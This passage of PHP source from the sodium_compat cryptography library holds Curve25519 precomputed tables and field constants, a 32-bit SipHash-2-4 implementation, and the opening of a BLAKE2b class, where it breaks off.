                array(4364628, 5930691, 32304656, -10044554, -8054781, 15091131, 22857016, -10598955, 31820368, 15075278),
            ),
            array(
                array(31879134, -8918693, 17258761, 90626, -8041836, -4917709, 24162788, -9650886, -17970238, 12833045),
                array(19073683, 14851414, -24403169, -11860168, 7625278, 11091125, -19619190, 2074449, -9413939, 14905377),
                array(24483667, -11935567, -2518866, -11547418, -1553130, 15355506, -25282080, 9253129, 27628530, -7555480),
            ),
            array(
                array(17597607, 8340603, 19355617, 552187, 26198470, -3176583, 4593324, -9157582, -14110875, 15297016),
                array(510886, 14337390, -31785257, 16638632, 6328095, 2713355, -20217417, -11864220, 8683221, 2921426),
                array(18606791, 11874196, 27155355, -5281482, -24031742, 6265446, -25178240, -1278924, 4674690, 13890525),
            ),
            array(
                array(13609624, 13069022, -27372361, -13055908, 24360586, 9592974, 14977157, 9835105, 4389687, 288396),
                array(9922506, -519394, 13613107, 5883594, -18758345, -434263, -12304062, 8317628, 23388070, 16052080),
                array(12720016, 11937594, -31970060, -5028689, 26900120, 8561328, -20155687, -11632979, -14754271, -10812892),
            ),
            array(
                array(15961858, 14150409, 26716931, -665832, -22794328, 13603569, 11829573, 7467844, -28822128, 929275),
                array(11038231, -11582396, -27310482, -7316562, -10498527, -16307831, -23479533, -9371869, -21393143, 2465074),
                array(20017163, -4323226, 27915242, 1529148, 12396362, 15675764, 13817261, -9658066, 2463391, -4622140),
            ),
            array(
                array(-16358878, -12663911, -12065183, 4996454, -1256422, 1073572, 9583558, 12851107, 4003896, 12673717),
                array(-1731589, -15155870, -3262930, 16143082, 19294135, 13385325, 14741514, -9103726, 7903886, 2348101),
                array(24536016, -16515207, 12715592, -3862155, 1511293, 10047386, -3842346, -7129159, -28377538, 10048127),
            ),
        ),
        array(
            array(
                array(-12622226, -6204820, 30718825, 2591312, -10617028, 12192840, 18873298, -7297090, -32297756, 15221632),
                array(-26478122, -11103864, 11546244, -1852483, 9180880, 7656409, -21343950, 2095755, 29769758, 6593415),
                array(-31994208, -2907461, 4176912, 3264766, 12538965, -868111, 26312345, -6118678, 30958054, 8292160),
            ),
            array(
                array(31429822, -13959116, 29173532, 15632448, 12174511, -2760094, 32808831, 3977186, 26143136, -3148876),
                array(22648901, 1402143, -22799984, 13746059, 7936347, 365344, -8668633, -1674433, -3758243, -2304625),
                array(-15491917, 8012313, -2514730, -12702462, -23965846, -10254029, -1612713, -1535569, -16664475, 8194478),
            ),
            array(
                array(27338066, -7507420, -7414224, 10140405, -19026427, -6589889, 27277191, 8855376, 28572286, 3005164),
                array(26287124, 4821776, 25476601, -4145903, -3764513, -15788984, -18008582, 1182479, -26094821, -13079595),
                array(-7171154, 3178080, 23970071, 6201893, -17195577, -4489192, -21876275, -13982627, 32208683, -1198248),
            ),
            array(
                array(-16657702, 2817643, -10286362, 14811298, 6024667, 13349505, -27315504, -10497842, -27672585, -11539858),
                array(15941029, -9405932, -21367050, 8062055, 31876073, -238629, -15278393, -1444429, 15397331, -4130193),
                array(8934485, -13485467, -23286397, -13423241, -32446090, 14047986, 31170398, -1441021, -27505566, 15087184),
            ),
            array(
                array(-18357243, -2156491, 24524913, -16677868, 15520427, -6360776, -15502406, 11461896, 16788528, -5868942),
                array(-1947386, 16013773, 21750665, 3714552, -17401782, -16055433, -3770287, -10323320, 31322514, -11615635),
                array(21426655, -5650218, -13648287, -5347537, -28812189, -4920970, -18275391, -14621414, 13040862, -12112948),
            ),
            array(
                array(11293895, 12478086, -27136401, 15083750, -29307421, 14748872, 14555558, -13417103, 1613711, 4896935),
                array(-25894883, 15323294, -8489791, -8057900, 25967126, -13425460, 2825960, -4897045, -23971776, -11267415),
                array(-15924766, -5229880, -17443532, 6410664, 3622847, 10243618, 20615400, 12405433, -23753030, -8436416),
            ),
            array(
                array(-7091295, 12556208, -20191352, 9025187, -17072479, 4333801, 4378436, 2432030, 23097949, -566018),
                array(4565804, -16025654, 20084412, -7842817, 1724999, 189254, 24767264, 10103221, -18512313, 2424778),
                array(366633, -11976806, 8173090, -6890119, 30788634, 5745705, -7168678, 1344109, -3642553, 12412659),
            ),
            array(
                array(-24001791, 7690286, 14929416, -168257, -32210835, -13412986, 24162697, -15326504, -3141501, 11179385),
                array(18289522, -14724954, 8056945, 16430056, -21729724, 7842514, -6001441, -1486897, -18684645, -11443503),
                array(476239, 6601091, -6152790, -9723375, 17503545, -4863900, 27672959, 13403813, 11052904, 5219329),
            ),
        ),
        array(
            array(
                array(20678546, -8375738, -32671898, 8849123, -5009758, 14574752, 31186971, -3973730, 9014762, -8579056),
                array(-13644050, -10350239, -15962508, 5075808, -1514661, -11534600, -33102500, 9160280, 8473550, -3256838),
                array(24900749, 14435722, 17209120, -15292541, -22592275, 9878983, -7689309, -16335821, -24568481, 11788948),
            ),
            array(
                array(-3118155, -11395194, -13802089, 14797441, 9652448, -6845904, -20037437, 10410733, -24568470, -1458691),
                array(-15659161, 16736706, -22467150, 10215878, -9097177, 7563911, 11871841, -12505194, -18513325, 8464118),
                array(-23400612, 8348507, -14585951, -861714, -3950205, -6373419, 14325289, 8628612, 33313881, -8370517),
            ),
            array(
                array(-20186973, -4967935, 22367356, 5271547, -1097117, -4788838, -24805667, -10236854, -8940735, -5818269),
                array(-6948785, -1795212, -32625683, -16021179, 32635414, -7374245, 15989197, -12838188, 28358192, -4253904),
                array(-23561781, -2799059, -32351682, -1661963, -9147719, 10429267, -16637684, 4072016, -5351664, 5596589),
            ),
            array(
                array(-28236598, -3390048, 12312896, 6213178, 3117142, 16078565, 29266239, 2557221, 1768301, 15373193),
                array(-7243358, -3246960, -4593467, -7553353, -127927, -912245, -1090902, -4504991, -24660491, 3442910),
                array(-30210571, 5124043, 14181784, 8197961, 18964734, -11939093, 22597931, 7176455, -18585478, 13365930),
            ),
            array(
                array(-7877390, -1499958, 8324673, 4690079, 6261860, 890446, 24538107, -8570186, -9689599, -3031667),
                array(25008904, -10771599, -4305031, -9638010, 16265036, 15721635, 683793, -11823784, 15723479, -15163481),
                array(-9660625, 12374379, -27006999, -7026148, -7724114, -12314514, 11879682, 5400171, 519526, -1235876),
            ),
            array(
                array(22258397, -16332233, -7869817, 14613016, -22520255, -2950923, -20353881, 7315967, 16648397, 7605640),
                array(-8081308, -8464597, -8223311, 9719710, 19259459, -15348212, 23994942, -5281555, -9468848, 4763278),
                array(-21699244, 9220969, -15730624, 1084137, -25476107, -2852390, 31088447, -7764523, -11356529, 728112),
            ),
            array(
                array(26047220, -11751471, -6900323, -16521798, 24092068, 9158119, -4273545, -12555558, -29365436, -5498272),
                array(17510331, -322857, 5854289, 8403524, 17133918, -3112612, -28111007, 12327945, 10750447, 10014012),
                array(-10312768, 3936952, 9156313, -8897683, 16498692, -994647, -27481051, -666732, 3424691, 7540221),
            ),
            array(
                array(30322361, -6964110, 11361005, -4143317, 7433304, 4989748, -7071422, -16317219, -9244265, 15258046),
                array(13054562, -2779497, 19155474, 469045, -12482797, 4566042, 5631406, 2711395, 1062915, -5136345),
                array(-19240248, -11254599, -29509029, -7499965, -5835763, 13005411, -6066489, 12194497, 32960380, 1459310),
            ),
        ),
        array(
            array(
                array(19852034, 7027924, 23669353, 10020366, 8586503, -6657907, 394197, -6101885, 18638003, -11174937),
                array(31395534, 15098109, 26581030, 8030562, -16527914, -5007134, 9012486, -7584354, -6643087, -5442636),
                array(-9192165, -2347377, -1997099, 4529534, 25766844, 607986, -13222, 9677543, -32294889, -6456008),
            ),
            array(
                array(-2444496, -149937, 29348902, 8186665, 1873760, 12489863, -30934579, -7839692, -7852844, -8138429),
                array(-15236356, -15433509, 7766470, 746860, 26346930, -10221762, -27333451, 10754588, -9431476, 5203576),
                array(31834314, 14135496, -770007, 5159118, 20917671, -16768096, -7467973, -7337524, 31809243, 7347066),
            ),
            array(
                array(-9606723, -11874240, 20414459, 13033986, 13716524, -11691881, 19797970, -12211255, 15192876, -2087490),
                array(-12663563, -2181719, 1168162, -3804809, 26747877, -14138091, 10609330, 12694420, 33473243, -13382104),
                array(33184999, 11180355, 15832085, -11385430, -1633671, 225884, 15089336, -11023903, -6135662, 14480053),
            ),
            array(
                array(31308717, -5619998, 31030840, -1897099, 15674547, -6582883, 5496208, 13685227, 27595050, 8737275),
                array(-20318852, -15150239, 10933843, -16178022, 8335352, -7546022, -31008351, -12610604, 26498114, 66511),
                array(22644454, -8761729, -16671776, 4884562, -3105614, -13559366, 30540766, -4286747, -13327787, -7515095),
            ),
            array(
                array(-28017847, 9834845, 18617207, -2681312, -3401956, -13307506, 8205540, 13585437, -17127465, 15115439),
                array(23711543, -672915, 31206561, -8362711, 6164647, -9709987, -33535882, -1426096, 8236921, 16492939),
                array(-23910559, -13515526, -26299483, -4503841, 25005590, -7687270, 19574902, 10071562, 6708380, -6222424),
            ),
            array(
                array(2101391, -4930054, 19702731, 2367575, -15427167, 1047675, 5301017, 9328700, 29955601, -11678310),
                array(3096359, 9271816, -21620864, -15521844, -14847996, -7592937, -25892142, -12635595, -9917575, 6216608),
                array(-32615849, 338663, -25195611, 2510422, -29213566, -13820213, 24822830, -6146567, -26767480, 7525079),
            ),
            array(
                array(-23066649, -13985623, 16133487, -7896178, -3389565, 778788, -910336, -2782495, -19386633, 11994101),
                array(21691500, -13624626, -641331, -14367021, 3285881, -3483596, -25064666, 9718258, -7477437, 13381418),
                array(18445390, -4202236, 14979846, 11622458, -1727110, -3582980, 23111648, -6375247, 28535282, 15779576),
            ),
            array(
                array(30098053, 3089662, -9234387, 16662135, -21306940, 11308411, -14068454, 12021730, 9955285, -16303356),
                array(9734894, -14576830, -7473633, -9138735, 2060392, 11313496, -18426029, 9924399, 20194861, 13380996),
                array(-26378102, -7965207, -22167821, 15789297, -18055342, -6168792, -1984914, 15707771, 26342023, 10146099),
            ),
        ),
        array(
            array(
                array(-26016874, -219943, 21339191, -41388, 19745256, -2878700, -29637280, 2227040, 21612326, -545728),
                array(-13077387, 1184228, 23562814, -5970442, -20351244, -6348714, 25764461, 12243797, -20856566, 11649658),
                array(-10031494, 11262626, 27384172, 2271902, 26947504, -15997771, 39944, 6114064, 33514190, 2333242),
            ),
            array(
                array(-21433588, -12421821, 8119782, 7219913, -21830522, -9016134, -6679750, -12670638, 24350578, -13450001),
                array(-4116307, -11271533, -23886186, 4843615, -30088339, 690623, -31536088, -10406836, 8317860, 12352766),
                array(18200138, -14475911, -33087759, -2696619, -23702521, -9102511, -23552096, -2287550, 20712163, 6719373),
            ),
            array(
                array(26656208, 6075253, -7858556, 1886072, -28344043, 4262326, 11117530, -3763210, 26224235, -3297458),
                array(-17168938, -14854097, -3395676, -16369877, -19954045, 14050420, 21728352, 9493610, 18620611, -16428628),
                array(-13323321, 13325349, 11432106, 5964811, 18609221, 6062965, -5269471, -9725556, -30701573, -16479657),
            ),
            array(
                array(-23860538, -11233159, 26961357, 1640861, -32413112, -16737940, 12248509, -5240639, 13735342, 1934062),
                array(25089769, 6742589, 17081145, -13406266, 21909293, -16067981, -15136294, -3765346, -21277997, 5473616),
                array(31883677, -7961101, 1083432, -11572403, 22828471, 13290673, -7125085, 12469656, 29111212, -5451014),
            ),
            array(
                array(24244947, -15050407, -26262976, 2791540, -14997599, 16666678, 24367466, 6388839, -10295587, 452383),
                array(-25640782, -3417841, 5217916, 16224624, 19987036, -4082269, -24236251, -5915248, 15766062, 8407814),
                array(-20406999, 13990231, 15495425, 16395525, 5377168, 15166495, -8917023, -4388953, -8067909, 2276718),
            ),
            array(
                array(30157918, 12924066, -17712050, 9245753, 19895028, 3368142, -23827587, 5096219, 22740376, -7303417),
                array(2041139, -14256350, 7783687, 13876377, -25946985, -13352459, 24051124, 13742383, -15637599, 13295222),
                array(33338237, -8505733, 12532113, 7977527, 9106186, -1715251, -17720195, -4612972, -4451357, -14669444),
            ),
            array(
                array(-20045281, 5454097, -14346548, 6447146, 28862071, 1883651, -2469266, -4141880, 7770569, 9620597),
                array(23208068, 7979712, 33071466, 8149229, 1758231, -10834995, 30945528, -1694323, -33502340, -14767970),
                array(1439958, -16270480, -1079989, -793782, 4625402, 10647766, -5043801, 1220118, 30494170, -11440799),
            ),
            array(
                array(-5037580, -13028295, -2970559, -3061767, 15640974, -6701666, -26739026, 926050, -1684339, -13333647),
                array(13908495, -3549272, 30919928, -6273825, -21521863, 7989039, 9021034, 9078865, 3353509, 4033511),
                array(-29663431, -15113610, 32259991, -344482, 24295849, -12912123, 23161163, 8839127, 27485041, 7356032),
            ),
        ),
        array(
            array(
                array(9661027, 705443, 11980065, -5370154, -1628543, 14661173, -6346142, 2625015, 28431036, -16771834),
                array(-23839233, -8311415, -25945511, 7480958, -17681669, -8354183, -22545972, 14150565, 15970762, 4099461),
                array(29262576, 16756590, 26350592, -8793563, 8529671, -11208050, 13617293, -9937143, 11465739, 8317062),
            ),
            array(
                array(-25493081, -6962928, 32500200, -9419051, -23038724, -2302222, 14898637, 3848455, 20969334, -5157516),
                array(-20384450, -14347713, -18336405, 13884722, -33039454, 2842114, -21610826, -3649888, 11177095, 14989547),
                array(-24496721, -11716016, 16959896, 2278463, 12066309, 10137771, 13515641, 2581286, -28487508, 9930240),
            ),
            array(
                array(-17751622, -2097826, 16544300, -13009300, -15914807, -14949081, 18345767, -13403753, 16291481, -5314038),
                array(-33229194, 2553288, 32678213, 9875984, 8534129, 6889387, -9676774, 6957617, 4368891, 9788741),
                array(16660756, 7281060, -10830758, 12911820, 20108584, -8101676, -21722536, -8613148, 16250552, -11111103),
            ),
            array(
                array(-19765507, 2390526, -16551031, 14161980, 1905286, 6414907, 4689584, 10604807, -30190403, 4782747),
                array(-1354539, 14736941, -7367442, -13292886, 7710542, -14155590, -9981571, 4383045, 22546403, 437323),
                array(31665577, -12180464, -16186830, 1491339, -18368625, 3294682, 27343084, 2786261, -30633590, -14097016),
            ),
            array(
                array(-14467279, -683715, -33374107, 7448552, 19294360, 14334329, -19690631, 2355319, -19284671, -6114373),
                array(15121312, -15796162, 6377020, -6031361, -10798111, -12957845, 18952177, 15496498, -29380133, 11754228),
                array(-2637277, -13483075, 8488727, -14303896, 12728761, -1622493, 7141596, 11724556, 22761615, -10134141),
            ),
            array(
                array(16918416, 11729663, -18083579, 3022987, -31015732, -13339659, -28741185, -12227393, 32851222, 11717399),
                array(11166634, 7338049, -6722523, 4531520, -29468672, -7302055, 31474879, 3483633, -1193175, -4030831),
                array(-185635, 9921305, 31456609, -13536438, -12013818, 13348923, 33142652, 6546660, -19985279, -3948376),
            ),
            array(
                array(-32460596, 11266712, -11197107, -7899103, 31703694, 3855903, -8537131, -12833048, -30772034, -15486313),
                array(-18006477, 12709068, 3991746, -6479188, -21491523, -10550425, -31135347, -16049879, 10928917, 3011958),
                array(-6957757, -15594337, 31696059, 334240, 29576716, 14796075, -30831056, -12805180, 18008031, 10258577),
            ),
            array(
                array(-22448644, 15655569, 7018479, -4410003, -30314266, -1201591, -1853465, 1367120, 25127874, 6671743),
                array(29701166, -14373934, -10878120, 9279288, -17568, 13127210, 21382910, 11042292, 25838796, 4642684),
                array(-20430234, 14955537, -24126347, 8124619, -5369288, -5990470, 30468147, -13900640, 18423289, 4177476),
            ),
        )
    );

    /**
     * See: libsodium's crypto_core/curve25519/ref10/base2.h
     *
     * @var array basically int[8][3]
     */
    protected static $base2 = array(
        array(
            array(25967493, -14356035, 29566456, 3660896, -12694345, 4014787, 27544626, -11754271, -6079156, 2047605),
            array(-12545711, 934262, -2722910, 3049990, -727428, 9406986, 12720692, 5043384, 19500929, -15469378),
            array(-8738181, 4489570, 9688441, -14785194, 10184609, -12363380, 29287919, 11864899, -24514362, -4438546),
        ),
        array(
            array(15636291, -9688557, 24204773, -7912398, 616977, -16685262, 27787600, -14772189, 28944400, -1550024),
            array(16568933, 4717097, -11556148, -1102322, 15682896, -11807043, 16354577, -11775962, 7689662, 11199574),
            array(30464156, -5976125, -11779434, -15670865, 23220365, 15915852, 7512774, 10017326, -17749093, -9920357),
        ),
        array(
            array(10861363, 11473154, 27284546, 1981175, -30064349, 12577861, 32867885, 14515107, -15438304, 10819380),
            array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696, -25653668, 12483688, -12668491, 5581306),
            array(19563160, 16186464, -29386857, 4097519, 10237984, -4348115, 28542350, 13850243, -23678021, -15815942),
        ),
        array(
            array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873, 19480852, 5230134, -23952439, -15175766),
            array(-30269007, -3463509, 7665486, 10083793, 28475525, 1649722, 20654025, 16520125, 30598449, 7715701),
            array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316, -31400660, 1370708, 29794553, -1409300),
        ),
        array(
            array(-22518993, -6692182, 14201702, -8745502, -23510406, 8844726, 18474211, -1361450, -13062696, 13821877),
            array(-6455177, -7839871, 3374702, -4740862, -27098617, -10571707, 31655028, -7212327, 18853322, -14220951),
            array(4566830, -12963868, -28974889, -12240689, -7602672, -2830569, -8514358, -10431137, 2207753, -3209784),
        ),
        array(
            array(-25154831, -4185821, 29681144, 7868801, -6854661, -9423865, -12437364, -663000, -31111463, -16132436),
            array(25576264, -2703214, 7349804, -11814844, 16472782, 9300885, 3844789, 15725684, 171356, 6466918),
            array(23103977, 13316479, 9739013, -16149481, 817875, -15038942, 8965339, -14088058, -30714912, 16193877),
        ),
        array(
            array(-33521811, 3180713, -2394130, 14003687, -16903474, -16270840, 17238398, 4729455, -18074513, 9256800),
            array(-25182317, -4174131, 32336398, 5036987, -21236817, 11360617, 22616405, 9761698, -19827198, 630305),
            array(-13720693, 2639453, -24237460, -7406481, 9494427, -5774029, -6554551, -15960994, -2449256, -14291300),
        ),
        array(
            array(-3151181, -5046075, 9282714, 6866145, -31907062, -863023, -18940575, 15033784, 25105118, -7894876),
            array(-24326370, 15950226, -31801215, -14592823, -11662737, -5090925, 1573892, -2625887, 2198790, -15804619),
            array(-3099351, 10324967, -2241613, 7453183, -5446979, -2735503, -13812022, -16236442, -32461234, -12290683),
        )
    );

    /**
     * 37095705934669439343138083508754565189542113879843219016388785533085940283555
     *
     * @var array<int, int>
     */
    protected static $d = array(
        -10913610,
        13857413,
        -15372611,
        6949391,
        114729,
        -8787816,
        -6275908,
        -3247719,
        -18696448,
        -12055116
    );

    /**
     * 2 * d = 16295367250680780974490674513165176452449235426866156013048779062215315747161
     *
     * @var array<int, int>
     */
    protected static $d2 = array(
        -21827239,
        -5839606,
        -30745221,
        13898782,
        229458,
        15978800,
        -12551817,
        -6495438,
        29715968,
        9444199
    );

    /**
     * sqrt(-1)
     *
     * @var array<int, int>
     */
    protected static $sqrtm1 = array(
        -32595792,
        -7943725,
        9377950,
        3500415,
        12389472,
        -272473,
        -25146209,
        -2005654,
        326686,
        11406482
    );

    /**
     * 1 / sqrt(a - d)
     *
     * @var array<int, int>
     */
    protected static $invsqrtamd = array(
        6111485,
        4156064,
        -27798727,
        12243468,
        -25904040,
        120897,
        20826367,
        -7060776,
        6093568,
        -1986012
    );

    /**
     *  sqrt(ad - 1) with a = -1 (mod p)
     *
     * @var array<int, int>
     */
    protected static $sqrtadm1 = array(
        24849947,
        -153582,
        -23613485,
        6347715,
        -21072328,
        -667138,
        -25271143,
        -15367704,
        -870347,
        14525639
    );

    /**
     * 1 - d ^ 2
     *
     * @var array<int, int>
     */
    protected static $onemsqd = array(
        6275446,
        -16617371,
        -22938544,
        -3773710,
        11667077,
        7397348,
        -27922721,
        1766195,
        -24433858,
        672203
    );

    /**
     * (d - 1) ^ 2
     * @var array<int, int>
     */
    protected static $sqdmone = array(
        15551795,
        -11097455,
        -13425098,
        -10125071,
        -11896535,
        10178284,
        -26634327,
        4729244,
        -5282110,
        -10116402
    );


    /*
     *  2^252+27742317777372353535851937790883648493
        static const unsigned char L[] = {
            0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7,
            0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
        };
    */
    const L = "\xed\xd3\xf5\x5c\x1a\x63\x12\x58\xd6\x9c\xf7\xa2\xde\xf9\xde\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10";
}
<?php

if (class_exists('ParagonIE_Sodium_Core_SipHash', false)) {
    return;
}

/**
 * Class ParagonIE_SodiumCompat_Core_SipHash
 *
 * Only uses 32-bit arithmetic, while the original SipHash used 64-bit integers
 */
class ParagonIE_Sodium_Core_SipHash extends ParagonIE_Sodium_Core_Util
{
    /**
     * @internal You should not use this directly from another application
     *
     * @param int[] $v
     * @return int[]
     *
     */
    public static function sipRound(array $v)
    {
        # v0 += v1;
        list($v[0], $v[1]) = self::add(
            array($v[0], $v[1]),
            array($v[2], $v[3])
        );

        #  v1=ROTL(v1,13);
        list($v[2], $v[3]) = self::rotl_64((int) $v[2], (int) $v[3], 13);

        #  v1 ^= v0;
        $v[2] = (int) $v[2] ^ (int) $v[0];
        $v[3] = (int) $v[3] ^ (int) $v[1];

        #  v0=ROTL(v0,32);
        list($v[0], $v[1]) = self::rotl_64((int) $v[0], (int) $v[1], 32);

        # v2 += v3;
        list($v[4], $v[5]) = self::add(
            array((int) $v[4], (int) $v[5]),
            array((int) $v[6], (int) $v[7])
        );

        # v3=ROTL(v3,16);
        list($v[6], $v[7]) = self::rotl_64((int) $v[6], (int) $v[7], 16);

        #  v3 ^= v2;
        $v[6] = (int) $v[6] ^ (int) $v[4];
        $v[7] = (int) $v[7] ^ (int) $v[5];

        # v0 += v3;
        list($v[0], $v[1]) = self::add(
            array((int) $v[0], (int) $v[1]),
            array((int) $v[6], (int) $v[7])
        );

        # v3=ROTL(v3,21);
        list($v[6], $v[7]) = self::rotl_64((int) $v[6], (int) $v[7], 21);

        # v3 ^= v0;
        $v[6] = (int) $v[6] ^ (int) $v[0];
        $v[7] = (int) $v[7] ^ (int) $v[1];

        # v2 += v1;
        list($v[4], $v[5]) = self::add(
            array((int) $v[4], (int) $v[5]),
            array((int) $v[2], (int) $v[3])
        );

        # v1=ROTL(v1,17);
        list($v[2], $v[3]) = self::rotl_64((int) $v[2], (int) $v[3], 17);

        #  v1 ^= v2;;
        $v[2] = (int) $v[2] ^ (int) $v[4];
        $v[3] = (int) $v[3] ^ (int) $v[5];

        # v2=ROTL(v2,32)
        list($v[4], $v[5]) = self::rotl_64((int) $v[4], (int) $v[5], 32);

        return $v;
    }

    /**
     * Add two 32 bit integers representing a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int[] $a
     * @param int[] $b
     * @return array<int, mixed>
     */
    public static function add(array $a, array $b)
    {
        /** @var int $x1 */
        $x1 = $a[1] + $b[1];
        /** @var int $c */
        $c = $x1 >> 32; // Carry if ($a + $b) > 0xffffffff
        /** @var int $x0 */
        $x0 = $a[0] + $b[0] + $c;
        return array(
            $x0 & 0xffffffff,
            $x1 & 0xffffffff
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $int0
     * @param int $int1
     * @param int $c
     * @return array<int, mixed>
     */
    public static function rotl_64($int0, $int1, $c)
    {
        $int0 &= 0xffffffff;
        $int1 &= 0xffffffff;
        $c &= 63;
        if ($c === 32) {
            return array($int1, $int0);
        }
        if ($c > 31) {
            $tmp = $int1;
            $int1 = $int0;
            $int0 = $tmp;
            $c &= 31;
        }
        if ($c === 0) {
            return array($int0, $int1);
        }
        return array(
            0xffffffff & (
                ($int0 << $c)
                    |
                ($int1 >> (32 - $c))
            ),
            0xffffffff & (
                ($int1 << $c)
                    |
                ($int0 >> (32 - $c))
            ),
        );
    }

    /**
     * Implements Siphash-2-4 using only 32-bit numbers.
     *
     * When we split an int into two, the higher bits go to the lower index.
     * e.g. 0xDEADBEEFAB10C92D becomes [
     *     0 => 0xDEADBEEF,
     *     1 => 0xAB10C92D
     * ].
     *
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sipHash24($in, $key)
    {
        $inlen = self::strlen($in);

        # /* "somepseudorandomlygeneratedbytes" */
        # u64 v0 = 0x736f6d6570736575ULL;
        # u64 v1 = 0x646f72616e646f6dULL;
        # u64 v2 = 0x6c7967656e657261ULL;
        # u64 v3 = 0x7465646279746573ULL;
        $v = array(
            0x736f6d65, // 0
            0x70736575, // 1
            0x646f7261, // 2
            0x6e646f6d, // 3
            0x6c796765, // 4
            0x6e657261, // 5
            0x74656462, // 6
            0x79746573  // 7
        );
        // v0 => $v[0], $v[1]
        // v1 => $v[2], $v[3]
        // v2 => $v[4], $v[5]
        // v3 => $v[6], $v[7]

        # u64 k0 = LOAD64_LE( k );
        # u64 k1 = LOAD64_LE( k + 8 );
        $k = array(
            self::load_4(self::substr($key, 4, 4)),
            self::load_4(self::substr($key, 0, 4)),
            self::load_4(self::substr($key, 12, 4)),
            self::load_4(self::substr($key, 8, 4))
        );
        // k0 => $k[0], $k[1]
        // k1 => $k[2], $k[3]

        # b = ( ( u64 )inlen ) << 56;
        $b = array(
            $inlen << 24,
            0
        );
        // See docblock for why the 0th index gets the higher bits.

        # v3 ^= k1;
        $v[6] ^= $k[2];
        $v[7] ^= $k[3];
        # v2 ^= k0;
        $v[4] ^= $k[0];
        $v[5] ^= $k[1];
        # v1 ^= k1;
        $v[2] ^= $k[2];
        $v[3] ^= $k[3];
        # v0 ^= k0;
        $v[0] ^= $k[0];
        $v[1] ^= $k[1];

        $left = $inlen;
        # for ( ; in != end; in += 8 )
        while ($left >= 8) {
            # m = LOAD64_LE( in );
            $m = array(
                self::load_4(self::substr($in, 4, 4)),
                self::load_4(self::substr($in, 0, 4))
            );

            # v3 ^= m;
            $v[6] ^= $m[0];
            $v[7] ^= $m[1];

            # SIPROUND;
            # SIPROUND;
            $v = self::sipRound($v);
            $v = self::sipRound($v);

            # v0 ^= m;
            $v[0] ^= $m[0];
            $v[1] ^= $m[1];

            $in = self::substr($in, 8);
            $left -= 8;
        }

        # switch( left )
        #  {
        #     case 7: b |= ( ( u64 )in[ 6] )  << 48;
        #     case 6: b |= ( ( u64 )in[ 5] )  << 40;
        #     case 5: b |= ( ( u64 )in[ 4] )  << 32;
        #     case 4: b |= ( ( u64 )in[ 3] )  << 24;
        #     case 3: b |= ( ( u64 )in[ 2] )  << 16;
        #     case 2: b |= ( ( u64 )in[ 1] )  <<  8;
        #     case 1: b |= ( ( u64 )in[ 0] ); break;
        #     case 0: break;
        # }
        switch ($left) {
            case 7:
                $b[0] |= self::chrToInt($in[6]) << 16;
            case 6:
                $b[0] |= self::chrToInt($in[5]) << 8;
            case 5:
                $b[0] |= self::chrToInt($in[4]);
            case 4:
                $b[1] |= self::chrToInt($in[3]) << 24;
            case 3:
                $b[1] |= self::chrToInt($in[2]) << 16;
            case 2:
                $b[1] |= self::chrToInt($in[1]) << 8;
            case 1:
                $b[1] |= self::chrToInt($in[0]);
            case 0:
                break;
        }
        // See docblock for why the 0th index gets the higher bits.

        # v3 ^= b;
        $v[6] ^= $b[0];
        $v[7] ^= $b[1];

        # SIPROUND;
        # SIPROUND;
        $v = self::sipRound($v);
        $v = self::sipRound($v);

        # v0 ^= b;
        $v[0] ^= $b[0];
        $v[1] ^= $b[1];

        // Flip the lower 8 bits of v2 which is ($v[4], $v[5]) in our implementation
        # v2 ^= 0xff;
        $v[5] ^= 0xff;

        # SIPROUND;
        # SIPROUND;
        # SIPROUND;
        # SIPROUND;
        $v = self::sipRound($v);
        $v = self::sipRound($v);
        $v = self::sipRound($v);
        $v = self::sipRound($v);

        # b = v0 ^ v1 ^ v2 ^ v3;
        # STORE64_LE( out, b );
        return  self::store32_le($v[1] ^ $v[3] ^ $v[5] ^ $v[7]) .
            self::store32_le($v[0] ^ $v[2] ^ $v[4] ^ $v[6]);
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_BLAKE2b', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_BLAKE2b
 *
 * Based on the work of Devi Mandiri in devi/salt.
 */
abstract class ParagonIE_Sodium_Core_BLAKE2b extends ParagonIE_Sodium_Core_Util
{
    /**
     * @var SplFixedArray
     */
    protected static $iv;

    /**
     * @var array<int, array<int, int>>
     */
    protected static $sigma = array(
        array(  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15),
        array( 14, 10,  4,  8,  9, 15, 13,  6,  1, 12,  0,  2, 11,  7,  5,  3),
        array( 11,  8, 12,  0,  5,  2, 15, 13, 10, 14,  3,  6,  7,  1,  9,  4),
        array(  7,  9,  3,  1, 13, 12, 11, 14,  2,  6,  5, 10,  4,  0, 15,  8),
        array(  9,  0,  5,  7,  2,  4, 10, 15, 14,  1, 11, 12,  6,  8,  3, 13),
        array(  2, 12,  6, 10,  0, 11,  8,  3,  4, 13,  7,  5, 15, 14,  1,  9),
        array( 12,  5,  1, 15, 14, 13,  4, 10,  0,  7,  6,  3,  9,  2,  8, 11),
        array( 13, 11,  7, 14, 12,  1,  3,  9,  5,  0, 15,  4,  8,  6,  2, 10),
        array(  6, 15, 14,  9, 11,  3,  0,  8, 12,  2, 13,  7,  1,  4, 10,  5),
        array( 10,  2,  8,  4,  7,  6,  1,  5, 15, 11,  9, 14,  3, 12, 13 , 0),
        array(  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15),
        array( 14, 10,  4,  8,  9, 15, 13,  6,  1, 12,  0,  2, 11,  7,  5,  3)
    );

    const BLOCKBYTES = 128;
    const OUTBYTES   = 64;
    const KEYBYTES   = 64;

    /**
     * Turn two 32-bit integers into a fixed array representing a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $high
